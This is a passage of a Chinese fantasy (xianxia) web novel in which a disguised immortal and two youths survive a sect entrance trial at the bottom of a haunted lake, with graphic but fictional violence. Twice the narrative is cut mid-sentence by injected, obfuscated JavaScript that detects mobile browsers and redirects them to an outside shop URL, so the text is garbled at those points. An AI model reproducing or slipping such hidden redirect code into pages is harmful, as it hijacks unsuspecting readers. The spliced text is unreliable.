这水怕不是有千钧之重,进湖一瞬间倾压在每一寸骨骼上——皮肉没有一分痛感,骨头却生疼。 冲华沉底那一瞬间差点疼的背过气去,全靠跃沉反应快,轻轻念出一句“轻如鸿毛”罩住二人。 湖水确实诡异,咒诀仿佛受到了极大的阻力,才粘稠而缓慢地生效。 跃沉自己喘气当然一点问题没有,突然还想起来带了个活人,转头很担心地瞟了冲华一眼,发现他也没有什么不适——问心湖水下面设置了结界,不用担心呼吸问题。 还算有良心。 水下的景色很清楚,水草稀疏,什么都挡不住,一片坦途明明白白。 是了,那么考核的点就不光是这湖水的毛病了。 跃沉拉着小心翼翼的冲华踩在湖底的淤泥上,一直往前走,绕过挣扎求生的人——有不少修士被湖水折磨得喘不上来气,逐渐沉底,寸步难行。 走了一会儿,地势逐渐降低。周围平静的湖水隐隐暗流涌动,几处冲突的水波中纠缠了灵力。 跃沉敏锐地察觉到不对,顺手拉了拉冲华的衣角,把他往身后带。 冲华不明所以,很乖地往后站。 一道带着血痕的水波赫然扫过来。水本身沉重黏着,就难以催动,何况居然还能伤人。跃沉抬手抵了水波,却难掩好奇,向水波来处望去。 水波凌乱散去,那身影有些熟悉。 是那个最先入水的黑衣少年。 银色面具覆盖着他整张脸。少年看见跃沉后,眼中戾色稍稍淡去一些,向他低声解释:“鬼气入体,活不得了。” 鲜血里流淌着黑雾,森森缭绕,确实不能留了。 跃沉将目光放向更远一点的地方——那几个死去的修士尸体居然在他们说话的功夫就迅速上浮。而且衣角平整熨帖,和在陆地上没什么两样,极其诡异。 黑衣少年轻声说:“活人沉底,死人上浮。湖底下还镇压了这么多这些鬼尸,问心湖真是有点意思。” 跃沉望向他,他却越过跃沉,准确地望向被牢牢护在身后的冲华,语气不明:“这时候可当不得好人。” 跃沉耸耸肩,很无所谓的样子。也不知道表示的是自己足够有实力带着别人,还是根本不在乎能不能进入鼎元宗。 黑衣少年正了正面具,收了双刀,上下打量跃沉一番:“我叫渊令,鼎元宗见。” 跃沉看着渊令再次盯了冲华几秒钟,目光尽数流连在他雪青色的长袖上。于是默默上前一点,渊令才收回目光。 水波突然有一丝异动,两人同时抬头看去。 某个鬼尸的红缨枪突然从渊令后脑勺处刺来。然而因为他这冷不丁一转头,枪尖赫然正对他,直直要刺入他的眼睛。 鬼尸的行动速度居然不受湖水粘滞的影响,比他们快了不止一倍,来去都刮着黑雾,还能勉强追到一点痕迹。 渊令没能及时反应,枪尖逼近。跃沉低声念了咒诀:“铜墙铁壁。” 水流顷刻形成一层极其坚固的薄膜,抵住枪尖。鬼尸丧失了大部分智力,但并不是完全愚蠢,此刻正发愣于怎么穿不透,又疑惑地重新捅了几下,动作颇为可笑。 渊令已经从惊诧中缓过神来,点头道:“多谢。” 活人受阻,死人不限。 天杀的问心湖。 4. 刀下换命 跃沉虽然是妖,但也毫不客气地被问心湖判定为活物,和人类享受同等的麦芽糖粘连待遇。 他低声念了几个足够要命的镇压咒诀,发现鬼尸毫无反应,气愤道:“问心湖里的鬼尸都消停不得吗?” “据说问心湖里镇压着上一次‘炼炉’打开时姜宗主击碎收制的残片。还有个厉害角色,听说是只一脚跨进神界的鬼。大概就是这只鬼浑水摸鱼,操控其他鬼尸吧。” 跃沉听了这说法,倍感怪异。 凡人们常说的“神界”就是昆仑山,可是他在昆仑山这么多年了,从未听说过有恶鬼能修炼成半神的。 昆仑山水系丰沛,泉水都是圣泉,鬼怪根本不敢靠近。 老神界那边倒是真有几只“老鬼”,都是上古时候的老神仙了,也是补天造海伤了神魄,才算作“鬼”。 但是他们比跃沉还懒,日日缩在自己的洞府里不出门,偶尔几个“鬼”聚一聚,下一会儿棋也就散了。 想来想去跃沉只觉得耗脑子,将其归结为民间谣传。 “这个我知道一点……”冲华小心翼翼探出头,“确实是炼炉里的鬼魂碎片,听说身上带着昆仑山的东西。” 跃沉和渊令齐刷刷转过头来盯着他。 冲华被盯得发毛,摆摆手缩了回去:“道听途说,道听途说而已……” “活气太重了,鬼尸会越围越多的。”渊令没有过多耽搁,立刻转身离开,“我先走一步了。” 他一走开,鬼尸们继续张牙舞爪朝跃沉二人冲过来。 跃沉先拎着冲华游远了一点,等到渊令也走远,彻底不见人影了,他才使出“支离破碎”的咒诀。 刚才被渊令杀死的异化修士变成了鬼尸,现在又在跃沉的咒诀下彻底没了人样,破破烂烂连个全尸都没留下。 冲华满脸羡慕:“公子,你这法术真是不得了。” 跃沉心里偷偷雀跃了一下……好几下。 表面云淡风轻八风不动:“倒也没什么……” 当神明的时候只能看见跪着的人,听不到活生生的人 冲华随意地继续往前走,跃沉则转头最后一次环顾四周,心里泛起层层叠叠的怀疑——到底是哪里来的鬼气同时把这么多修士感染的?他怎么都没遇见? 他看向渊令离开的方向若有所思。 “跃沉公子?”冲华走出去几步,见他没有跟上,回过头来,“你怎么了?” 他眼睛明亮,装满天真。 跃沉想了想,觉得并不是把所有事情都说出来就算聪明人,何况是空穴来风的猜测。于是微笑着摇头,抬脚跟上他。 “没什么。” “刚才那个公子好凶的样子……”冲华突然来了这么一句。 跃沉心里“咯噔”一声,表面上还笑着:“你怎么会这么想?” “嗯?你看看他……”冲华嘀嘀咕咕,“……穿的一身黑,独来独往的。不过能杀这么多鬼尸,也确实算是不好惹的吧?” 跃沉心里笑他孩子气。转念一想自己也是妖里的小辈,居然也学那些老油条,把人家想的那么坏。 随即他甩开了心里盘萦的念头,和冲华一同向前。 渊令已经独自走过了约莫一半的路程,途中鬼挡杀鬼、人挡杀人,状态渐渐下滑了,于是他停在湖底的黑色岩石边上休息整装。 岩石群背后传来吵吵嚷嚷的人声。吴昼锦正不耐烦地催促着招募来护他同行的修士们:“你们倒是快一点啊!” 渊令的薄唇勾起,要笑不笑的。 找到下一个目标了。 众位修士虽说是临行前收受了不少财物,但是各自的傲气摆在那,冲着钱的份上看着这个傻子,哪能诚心服从他? 再者想进鼎元宗的又不只有吴昼锦一个人,万一自己碰对了运气,有幸进宗门,那谁还管他死活? 众人替他清理一路杂碎早就体力不支,此时听了这话,如火上浇油,再给一滴水就要沸反盈天了。 反正走到了这一步,吴昼锦如此惜命,怎敢抛下他们?众人再懒得陪他取闹,便继续向前。 原本处在最中心位置的吴昼锦落到了队尾,只有零零星星三两个人绕在他周围。 渊令盯紧了这一二十多人的庞大队伍。每个人都要仔细打量,不放过任何一个细节。 虽然同行有几个高手,但此刻离吴昼锦都不近。天时地利人和,不下手实在可惜。 他慢慢从怀中摸出一把匕首,自己好像也成了凌厉的刀刃。随即将全部注意力集中在吴昼锦身上,聚焦于他的心口。 “你们走快一点,不要耽误……” 话说半截,吴昼锦愕然停住,缓缓低头——心口豁然插着一把短小的利刃。 他反应不及,被利刃上极强的冲击力压倒,清明地意识到自己扑倒在了湖底,吃进一嘴腥沙。 心口处牵起钝痛。 吴昼锦打小娇生惯养,歌伶舞姬见识过不少,正经要打起架来是张任人揉搓的白纸,并不知道利刃没有穿透他。 他慌张地捂住伤处,滑稽地缩在围过来的修士们脚下,恨不能原地挖洞躲进去。 为首的年长修士小心翼翼,叠了厚厚一层咒诀才敢伸手,拔出那枚利刃。 刀刃上一点血迹也没见到,刀尖上嵌了一粒小而碎的玉——是早上和跃沉争辩后随手是揣进怀里的那粒。 吴昼锦嘴上呻吟不停,吱哇乱叫,气得年长者狠狠踹了他一脚。 这一脚比那一刀还要疼。 “闭嘴!什么事也没有!”他先痛骂一顿不争气的吴昼锦,转过头来严肃地招呼同行的修士们,“都注意着些。有人要命来了……” 渊令心中难得爬升起一点急躁。 失手了。 不等他撤离,迎面一把梅花镖直朝着他藏身处飞来——吴昼锦雇来的人也不全是吃素的。 并且据他观察,有几个还相当难缠。 麻烦了。 渊令为躲那一把镖,一咬牙,双刀起势,手中比划咒诀“燎原烈火”。 刀刃上立刻燃起熊熊烈焰,在水中腾腾不息,若不是他满身煞气,倒是奇景。 他却并不急出手,而是向前两步站定,将刀刃插入湖底斜着一抹——再举起时,火焰中已经盘绕森然鬼气了。 一刀撩过,众人急退,其中一个黄衣修士的手臂不慎被划开一道血口。 渊令不欲缠斗,收了刀后撤,一言不发。 那修士眼睁睁看着伤口冒出的鲜血在湖水中飘散,掺杂丝丝黑雾。 “为了个考核,后生也不想想这般行径,可是坏了武德?”年长者气愤道。 渊令不理会,只是冷笑。半晌,面具之下才传来少年的清朗声音,只是这声音毫无生机起伏,又冷又硬。 “弱者何称武德?” 年长者大怒,拔剑而来,利剑裹挟罡风,刺破粘稠的湖水。渊令不甘示弱,抬手双刀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17245017|197859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格挡,搅弄得湖底水流凌乱翻卷、剑气肆虐,一时间居然不分伯仲。 “一起上。”年长者低声道,“今日护送少主,不得差池,必定要结果了他。” 渊令冷哼一声:“这才是不讲武德呢。” 人多毕竟势众,几番招架下来,他身上衣裳已被剑气撕成了流苏,皮肉见血。 吴昼锦的跟班岂能容他喘息? 渊令右肩臂血淋淋的模糊一片,举刀不慎迟缓那么毫厘之秒,年长者的长剑已经抹近了他的咽喉。 他狼狈地向左翻滚,堪堪逃开这致命一剑,肩膀撞上一大块湖底岩石,又是一大股鲜血喷出,在水中模糊散开,显得倒没那么骇人了。 又是一剑劈下来,被湖水粘连得迟缓了。 但是渊令已无处可躲,雪亮的剑刃一闪就劈到眼前,湖水明明暗暗,早已深不见天日。 他还没有出人头地呢……渊令瞳孔急缩,闭上眼睛,等待热血从喉咙里飙出。 他没等到落下来的剑,等来的是一句遥远却清亮的“雷霆万钧”。 脸上落下了什么东西,冰冰凉凉的。 渊令睁开眼,是年长者手里马上就要劈下来的剑——那剑刃四分五裂,碎片掉了他一衣襟。 跃沉收手,一副全天下就他最无辜的表情,笑了。 “我就是来看看热闹,要不你俩重新打一次?” “是你?” 渊令趁年长者愣神的片刻,翻身起来拉远距离,惊异不定地盯着跃沉。 跃沉耸耸肩:“是啊,我俩没死。你失望了没有?” 渊令面具之下的神色难得有了松动。 “小心!” 刚才被渊令划伤一刀的黄衣修士突然抽搐暴起,一刀劈砍向身边的同伴。同伴没想到他居然伤成这样还对自己人动手,躲闪不及,肩膀生生被削掉一块。 “他能控制鬼气入体的人,包括已经被他杀死的鬼尸。”跃沉抱臂,真在一边看上了热闹,还不忘提醒吴昼锦的人,“可千万当心了……谁知道他杀了多少人了?” 年长者满面忌惮地盯着突然冒出来的,站队不明的跃沉:“敢问阁下是什么人?” 跃沉摆摆手:“真就是看热闹的。” 说着还往后撤了撤,一副置身事外的模样。 “看在我这一命的份儿上,我不动你。”渊令轻轻一笑,气息稍急促,“但是他就没这样的运气了。” 他抬起手,不知念了什么咒诀,身前骤起水龙卷,刮起来恨不能把问心湖翻个底朝天。 吴昼锦一方有几个修士已经摇摇晃晃,身形不稳了。 跃沉猛然意识到什么——但是为时已晚。 渊令抬起细巧的匕首,将被卷进水龙卷里的冲华揽在身前,锋利的亮刃抵在他白皙的脖颈上,扯出一道若隐若现的红线。 “别过来,不然我立刻杀了他。”渊令似乎更虚弱了一点,但是手仍然稳稳当当地架在冲华颈间。 冲华被迫仰头,惊恐而眼尾通红,不断往后躲避,将头颈缩进渊令的臂弯。雪青色和黑色的衣袖纠缠在一起,飘荡在湖水里。 “你轻一点,我要喘不过气来了。”冲华突然冷静下来,轻轻碰了碰渊令的手,问他,“好不好?” 他偏头去看那个和他差不多年纪的少年。冰冷的银色面具罩上,好像这样就能把全天下都隔绝在外,不见亦不闻。 他的手真凉,比湖水都凉,半个死人似的。 5. 骷髅执剑 渊令惊得指尖一颤,失神半秒,微不可察地把手挪开了一点点,顺便把人往上捞了捞,与其说是劫持,不如说像是在背后的拥抱。 “湖底是什么阵法?你是哪方邪修,居然能控制鬼尸?”年长修士沉了沉眸子,盯紧他。 渊令笑笑,手中匕首可不饶人:“怎么,你们要拿他的命来换?” 吴昼锦刚要开口,就被身后的随从拉住了——随从向他轻轻摇头:少惹事。 跃沉道:“我真不介意和你打一架。” 渊令的手轻轻贴上冲华的下颌,刀刃比划着,银色面具在湖水中流光飘忽:“那就一起死在湖底,谁都别走了。” 岩石群忽然喀啦乱响一阵,众人惊疑不定,环顾四周,正摸不着头脑时,跃沉感受到了若有若无的灵力—— 他大声喊道:“不对劲——” 一股巨大的拉扯力从地下直窜上来,这一片的岩石群齐齐往下坠落,脚下的湖底居然是空的,拽着众人往下。 冲华只觉得上下身要分家了。 撕裂的痛感震得他手臂脱力,下意识回身扣上渊令的腰。 渊令自顾不暇,还没来得及出声,也被拖拽进了下方巨大的漩涡——这可比他生推出来的水龙卷阵仗大多了。 湖水荡漾无边波纹,黑暗吞噬视线。 天旋地转。 众人再睁开眼时,湖水变得晦暗,头顶已经完全看不到天光了。 面前是一片……坟场? 跃沉震惊得一时忘了冲华。 冰冷巨大的白色岩石阵列两旁,石边插着铭文长剑,中间竖立无数持械尸骨,仍然保持着拼杀的姿势,骨骼散发浓郁的黑雾,静静向上飘散。 湖底居然还有一层结界。 老者顿然顾不上渊令两人。 旁人怎么折腾都跟他没关系,但是少主的考核不能凭空增加难度。有钱拿还得有命花,三大宗门每次招人,死伤可不算小数目。 他很不客气,抽刀向渊令,防备道:“这是哪?” 渊令顿住,冷冷道:“不知道,我什么都没做。” 靠近众人的几具白骨骷髅微不可察地动了动腕骨,手中仍然锋利的武器反射出星点暗芒。跃沉察觉到什么,眸子立刻锁定。 他抬手,凭空抽出一段玉骨。玉骨虽然成色莹润剔透,形状自然流畅,却不曾开刃,更像美丽的摆件。 这是跃沉本体的一部分——虽然只是很小的一块。 渊令瞥了一眼他的玉骨。 正当众人防备时,一双惨白的骷髅手扼住了刚才受伤的黄衣修士的咽喉。 “不——” 他刚来得及发出一声嘶哑的呼救,就被骷髅生生捏断了脖子。 跃沉猛然转过身,渊令紧随其后,一把梅花刃掷过去,削断了骷髅的手掌。 那骷髅的手指仍然卡在那人的脖颈上,随着他的尸体倒下,而骷髅的手臂僵直抬起保持不动,眼眶明明空空如也,却仿佛正在扫视众人,看得冲华心里发毛,默默往渊令身边缩了缩。 骷髅们的头骨慢慢调整方向,所有的空眼眶都齐刷刷朝向渊令。饶是渊令心理过硬,仍然瞳孔紧缩,惊疑不定。 跃沉上前一步挡住。 他倒是没想着要帮忙,只是觉得骷髅的气息有些熟悉,自己一定是在哪见过的。 跃沉倒是挡住了骷髅看向渊令的视线,但是杀意昭然若揭,并没有被阻隔,甚至越来越直白,盯上渊令还不够,还要盯上他。 “在……在动……”有人惊恐地低语。 能看出来这些骷髅生前要比误闯的众人强多了,它们动起手,众人只能追到黑雾的残影。 话音刚落,渊令松开冲华,拉开身法,急速后退——锋利的剑风削来,仅仅是最外沿的水波就轻易划开他的衣襟,胸前刮出一线血红,在水中慢慢飘散出血色,由浓到淡。 黑红之色,在白色岩石的衬托下格外显眼。 但血色和对面的骷髅骨节里飘起的黑雾比起来,不过微乎其微。 成千上万具枯骨飘起,像三百年前对待鬼尸一样,向众人举起或有残缺或沾鲜血的刀剑。他们有的鬼气入体,已经被同化,但是仍然听从战场本能,驱赶着外来者。 这是三百年前“百鬼夜行”牺牲的人类的埋骨地。 跃沉才意识到这一点,但是已经来不及想太多了:骷髅们不只冲着渊令一个人,也朝着所有人来了。 闯入者当诛。 渊令手中双刀劈出连串的剑花和水纹,眼花缭乱,但是血色的红雾却越来越浓。 他眼底爬上丝丝血红,手中刀刃斩碎一具又一具白骨,惨白的骨节碎裂垂下,掉落湖底。有些骨节还有意识,不屈不挠地弯折翻腾。 跃沉手中的玉骨向前一探,钩住凭运气胡乱躲闪的冲华——这孩子身法不错,还挺适合逃命。 两人一起躲到一边苟着,旁观渊令和吴昼锦的随从劈砍鬼尸——只不过渊令这边是鬼尸越来越少,吴昼锦这边是随从越来越少。 跃沉实在看不下去,朝渊令喊道:“这样下去没完!这么多鬼尸你怎么杀的尽?” 渊令已在湖水中受伤,强劲的阻力让他挥刀的动作明显慢了很多。他的右半边身体失血过多,反应迟缓,已是强弩之末。 鬼尸渴求鲜血,紧紧跟住渊令不放,新仇旧仇捏一块儿算。 跃沉则拉着冲华向鬼尸们原先所处的地方游去,途中遇到不长眼非要挡道的白骨,跃沉挥起玉骨就抽。 白骨在渊令的刀下仅仅碎裂,但在跃沉玉骨的抽击下则顷刻化为齑粉,消融在湖水里。 开玩笑,鬼骨头哪里能和神仙骨头硬碰硬。 不远处白色岩石中央有亮芒一闪而过,跃沉低头抽开两具鬼鬼祟祟靠近的白骨,向光亮处更进一步。 吴昼锦身边只剩下那个老者了。他的动作也逐渐卡顿,鬼尸好像知道他撑不下去了,更加凶悍地挥刀,将两人围攻得密不透风。 刀锋卷起的水刃好几次都刮到了吴昼锦身上,这位不可一世的小少爷已经挂了彩,辗转腾挪疲于奔命。 白骨狠狠横刀劈来,老者格挡不及,刀背后翻,砸在吴昼锦肩膀上,他被这力气震得后退。后面的鬼尸乘胜追击,又结结实实让吴昼锦的左肩吃了一剑,冒出血花来。 剑风逼到吴昼锦鼻尖上,他眼前只剩晦暗湖水里唯一发亮的剑芒,和鬼尸迅速逼近的,苍白而附着青苔霉斑的指骨。 跃沉已经站上了那块白色巨石。 他环顾四周,白色岩石赫然组成了一个巨大的圆形阵法。 跃沉曾经见过极其相似的阵法,比眼前这个要复杂一些,在昆仑山巅上,是王母娘娘亲自设置,据传说是用于“镇压世间极邪祟之物”。 这里也是为了控制鬼尸吗? 跃沉反手握上冰冷的剑柄,骤然发力—— 铭文长剑换作凡人,自然难以撼动分毫,可是谁让有个末流神明混进来了呢? 距离吴昼锦脸颊只有一寸的剑硬生生停住了,另一边的渊令用力斩下一刀,劈碎了鬼尸击来的一剑后,才反应过来它已经僵直不动了。 “一共八十一把剑……” 跃沉动作快,动手连续掀飞了几把剑。剑身缠绕冷森森的鬼雾,在水底长眠三百年。三百年禁制固若金汤,如今被他搅起来,剑气嗡鸣躁动,阵法不稳。 八十一把剑被他逐一抽出。 但鬼尸已经被定格。黑雾凝固在水中,随着水波轻轻晃动。 “唰啦”一声,万千枯骨化为齑粉。飘飘扬扬,黑白相杂。 湖底岩石乱晃,幅度越来越夸张。跃沉几乎怀疑要把问心湖翻了个底朝天。 骨灰和黑雾都快速沉入地下,不知什么地方传来了震透耳膜的吟鸣,要往人脑仁里钻似的,剜骨般疼痛。 是那只据说来自昆仑的鬼尸。 所有的骨灰和黑雾化作一个高大的人形。黑雾诡异地吸收了身边所有的光,湖水越来越暗。 它和常人一样灵活,身体全由丝丝黑色雾气编织而成,看上去像是纯黑的人体,只有本该是眼睛的地方,是两个空洞的白色圆圈。 白色是完全无暇的色块。渊令盯着这双“眼睛”,心中有点发毛。 三百年前你的尸骨被人带来,铭文长剑钉入你的骨髓,扎透你的灵魂,把你钉在不见天日的湖底。 你属于这里,你属于这里。 渊令缓缓抬起手,靠近自己的眼睛。 我属于这里?我属于这里。 渊令的手摸上眼睛,却没有停住,手指还在继续施力。跃沉敏锐地察觉到他不对劲,狠狠在他小臂上敲了一记。 但是跃沉不能阻拦所有人。 幸存的修士中有人已经把眼球挖了出来。 那人满手红白,眼框内只剩血洞,眼球被他高高托举在手心。高到尽他所能,高到这个人的身体出现了诡异的扭曲——但他仍然不懈举起自己的眼球。 眼球在他的手里乱转,最后对准了纯黑色的鬼尸,流淌出粘稠的黑雾。那人的血肉清晰可见地被剥离,被鬼尸吞噬。顷刻间只留下森森白骨。 他仍然保持着朝圣的姿势,身体前倾,伸出双臂,奉上手中的眼球。 冲华看向那纯黑的鬼尸,怔愣着。 跃沉怕他也受到影响,提醒道:“不要看了,精神有损。” 冲华听话地别开视线:“但是它的眼睛……” 鬼尸的眼睛中间浮起了一点血红。随着另外几个修士挖出了自己的眼球,那点血红慢慢扩大,血丝纠缠舞动,马上就要突破鬼尸那双白色眼睛的限制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17245018|197859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,扎进幸存者的眼球里。 这鬼尸的眸色比樵夫那种不入流的小鬼的眸色深多了,接近鲜血凝固后发黑的颜色,而且越扩越大,占满了原本的白色。 渊令:“这真的是正常入门考核的难度吗?” 跃沉心里泛起近在咫尺的熟悉感。 红色停止扩张,现在它拥有了一对深红镶细白边儿的“眼睛”。 然后它慢慢转正身体,好像能看见跃沉一行人了。 冲华再次往后缩了缩,并且很准确地选择了缩在跃沉身后。 渊令:“……”挺机灵,抱大腿还知道抱最粗的。 吴昼锦这边只剩下他、为首的老者和另一个修士。那个修士还只剩右眼,成了独眼龙,举手捂着眼眶。 鬼尸凝铸一把不断飘散黑雾的长鞭。但是它没有手臂,长鞭直接连接着它的身体,成为他的手臂。 它走近了。 浓重的黑雾逼近,湖水又暗了一层,几乎看不见细节,只能看见漆黑的影子和悬浮在中间的红白。 大家都默契地往后退,只有跃沉向前两步,抽出了一整段玉骨。 纤长莹润的,淡淡发光的,横在中间。 玉骨前端的锐气和攻击性全部对准了鬼尸,冷气森森宛如另一个世界。但身后的五个人只能感受到温暖和安全。 鬼尸的动作明显滞涩了。 跃沉迅速捕捉到了这一瞬间的异常,不过他来不及细究。 玉骨挥动,在湖水中抽出清脆爆破的响声,击散了一整片压过来的黑雾,撕出真空,水涡回流,搅得问心湖暗流涌动。 於破岩在内山问心湖瀑布出口处静候,终于忍不住了。 “这不太对吧,姜长老?” 还有一刻就到两个时辰了,出口连个人影都没见到。 这批人再弱,也总该有几个人进来啊。水下倒也没设置什么东西,只是放出了些鬼尸,而且仅要求考核者躲开即可,根本就不难。 术星孤就是来晃了一圈早就回去补觉了,姜庆临不能通过随口一问得知结果,就只好探出灵识延展开。 他霍然抬眼。 他的灵识不知何时已经探不进问心湖,只知道湖底的结界碎了,阵法情况不得而知。 残片失控了。 “你去一趟,那东西失控了。” 於破岩腾地站起来:“必要时……?” “必要时可以处理干净。”姜庆临说,“那东西很危险,你也当心。” 鬼尸一动不动。 黑雾被玉骨抽碎了一大半,丝丝络络地漂浮在水中,再动不得了。 跃沉丝毫不敢松懈,横着玉骨当剑用,比在鬼尸前。 鬼尸缓缓转动“头颅”,整整拧了一圈儿,深红色的眼睛疯狂扩张,占据了头颅的一多半,两颗巨大的红色眼球死死盯着跃沉。 仔细看去,红色“眼球”是由刚才的修士们的许多颗眼球拼凑起来的,挤挤挨挨,每一颗小眼球的瞳仁都是血红血红的。 跃沉盯着这些眼睛,这些眼睛也盯着他。 身后的几人不约而同低下头,不敢多看。渊令握紧剑柄,心跳飞快。 吴昼锦被老者死死捂住嘴。他自己也紧紧闭着眼睛,生怕露了一点缝隙,自己的眼睛就成了那团蠕动的眼球中的一对儿。 跃沉毫不犹豫地再次挥动玉骨补刀,玉骨圆润的骨截面亮起了锋利且反光的刃面。 黑色越抽越薄,雾气消散在问心湖里,不来攻击跃沉,反而慢慢向上漂浮。 跃沉瞳孔骤然缩紧。黑雾薄薄一层,贴在结界上,却不断试图冲破界限。 “它想上去污染别人。” 跃沉皱眉,抽身追上去。玉骨刮过那层黑色,发出让人牙齿发酸的“吱嘎”声。 渊令活动肩膀,骨节轻响。他重新拔出那两把雪亮的双刀,跟上跃沉。 “什么声音?” 两个修士结伴在湖水中艰难行进,脚下却传来岩石的闷响,地面轻微晃动。两人对视,其中一人把手放在湖底的岩石上,放出探查咒诀。 岩石报以更脆响的一声,然后猝不及防地——炸开了。 黑雾窜天而上,穷途末路横冲直撞,刮过两个无辜修士,生生腐蚀掉两人的血肉,剩下两副残留血红的骨架碎了一地。 跃沉追到,玉骨变幻作骨链,缠紧鬼尸的脖颈。鬼尸拼命想前,如扑棱蛾子一般逸散黑雾,玉骨链却越绞越紧,不容它喘息。 下一秒,渊令的双刀破空劈下来。 他肩膀还带着血痕,这一下用尽全力,水流被带动,岩石碎片彻底化作齑粉。 与此同时,一把红缨枪从天而降。 於破岩的手稳稳当当,枪尖正正穿入鬼尸的眼球。 眼球和黑雾流散,湖水昏黑一片。 6. 你想去哪 “这就……死了?” 吴昼锦牙齿发颤,看湖水重归澄澈平和,才敢站直。 渊令有点脱力,在湖水中仍受影响,干脆扔下刀坐在地上休息。 跃沉抬手甩动,玉骨链顿时无影无踪,随后坦然迎上渊令的目光,还送他一句“轻如鸿毛”。 “休息好就走吧,我们很靠近出口了。” 头顶投射下来的阳光变得更亮更清晰,一行人开始走上坡路,穿过一片乱石后,终于离开了水域,露出湖面。 秀丽的山峻环绕,房舍楼宇点缀苍翠之间。最远处的山峰高耸入云,楼台隐约恍惚。 於破岩在前面的高台等待他们,只是多看了跃沉一眼,此后一言不发,好像刚才不是他的红缨枪扎进了鬼尸的眼球。 筛选残酷,高台下也聚着一些人,比报名时少了很多。折损惨重的是世家公子,几乎不剩几个,有幸在场的也狼狈凌乱,只剩下自己一人,惊慌失措环顾四周。 但是别人似乎都没有遇到同样的鬼尸。 这是量身定制的卷子吗? 跃沉倒是没觉得很累,但是同行的冲华和吴昼锦已经瘫坐在地。吴昼锦抬起手臂享受没有湖水滞涩的空气,整个人都松了气,躺在草坪上懒得动弹。 “时辰到了。”於破岩身旁的侍从提醒。 於破岩垂眸大致点数,随即吩咐。 “可以封山了。” 冲华愣了一下,勉强支撑着站起来,问道:“那其他人怎么办?” 他的声音并不小,草坪上幸存的人慢慢回头,视线都集中在他一个人身上。 所有人的目光都很冷漠,像看着一个未经世事的孩童。 冲华像个小孩子,在大人的陪伴下从血路里杀出来,却还没还有懂得血路有它的规矩。 跃沉想,大概是死路难逃吧。湖底还有那么多新鲜鬼尸,失败的人迟早会成为其中一员。 略哑的声音响起。 “於长老,家侄既然通过考核,我就先将他带走了。” 一个稳健的老者走到於破岩身后,向他抱拳:“家侄天真,见笑了。” 他白衣宽袍,面相随和,向众人的方向招手。 一片死寂。 冲华上身晃了晃,然后慢慢迈出半步。众人刚才因跃沉的遮蔽而暂避的目光又跟上来了,这次跟随的更紧。 “这样的还用的着参加考核吗?” 不知道是谁在底下接了这么一句。 冲华本来要回头向跃沉告别的,听了这话,立刻低头走的飞快。 跃沉还没弄清楚状况,冲华就被老者带走了。渊令倒没有嘲讽,只是盯着他的背影若有所思。 “好了,恭喜各位,以后就是鼎元宗的外门弟子了,跟我来吧。” 於破岩领着他们爬上旁边的一座山,一直爬到山腰。山腰处建有大片茅草屋,是留置给新外门弟子的住处。 “鼎元宗规矩:晨钟暮鼓,要上早功晚功。晚上鼓敲十响,朝暮殿集合。”於破岩指向一座山,“你们可以自己结伴挑房间,注意不要离开这座山。” 於破岩说完就要走,侍从拉住他低语几句。他挑眉惊讶,点点头,走回来。 跃沉还在原地,渊令刚要走,都被他叫住。 “宗主要见你们。”於破岩意味深长,“跟我来吧。” 姜庆临刚到朝暮殿,曳白和冲矜早就到了,术星孤还不见人影。 曳白正在和冲华说玩笑话,冲华耳根通红,恨不得把冲矜放在前边挡着。 冲矜太随和,只是笑着。 “别欺负人家小孩子。”姜庆临坐上首座,示意曳白别太过火。 曳白嬉皮笑脸,这才放过冲华。 “我叫了他们俩过来。” 话音刚落,术星孤也到了。看样子是刚被叫醒,一身破旧星纹袍子,满身褶皱。 “没人去叫你,你就要一直睡到晚功吗?”曳白拍拍她,但是术星孤仍然没有很清醒。 她一开口就是浓重的困意:“又什么事?” “三百年前我带回来的那片残片,镇压阵法被一个新弟子破开了。”姜庆临一句话让人来了精神。 曳白“嘶”了一声:“这批人还能活着多少?” “所幸它刚攻破结界就被於长老处理掉了。”姜庆临说,“算是有惊无险的意外。” 话说到这,在场几人放下心。 姜庆临话锋一转:“但还是有人误入结界了,那两个新人很强,几乎已经杀掉了鬼尸……” 话没说完,於破岩就带着人进来了。 冲华眼角弯弯,偷偷用眼神向跃沉打招呼,目光扫过渊令,银色面具反光,冲华很快躲开了视线。 渊令的心脏好像在向下坠,听到於破岩的声音才停止坠落。 “我是渊令,各位长老安。”他听见自己的声音平稳下来。 “跃沉。” 跃沉就很随意,只是说了名字。他的名字是西王母亲自起的,据建木唠叨,还有一番机缘,但是跃沉从来没有认真听过,也早就不记得了。 这两个人都太抢眼,冲矜不知道先看谁。但是姜庆临、曳白和术星孤的眼睛牢牢盯住了跃沉。 曳白和术星孤是看宝物的眼神,姜庆临是惊疑的眼神。 跃沉……越宸? 他倒不至于疯到以为面前这个少年是多年前在荒漠里见死不救的那个昆仑神,但是……他不信一点关系都没有! 术星孤很想说点什么,但是被曳白使眼色拦下了。俩人不动声色观察姜庆临的反应。 姜庆临高坐台上,冷着脸瞪着跃沉,一言不发。 跃沉扫视几位长老,目光在姜庆临身上停留—— 两人猝不及防对视。 跃沉认出了姜庆临。 是那个操纵术法飘了自己一身铁花的人类。跃沉其实有点心虚,因为他留下来的那只蝴蝶也没干什么好事。 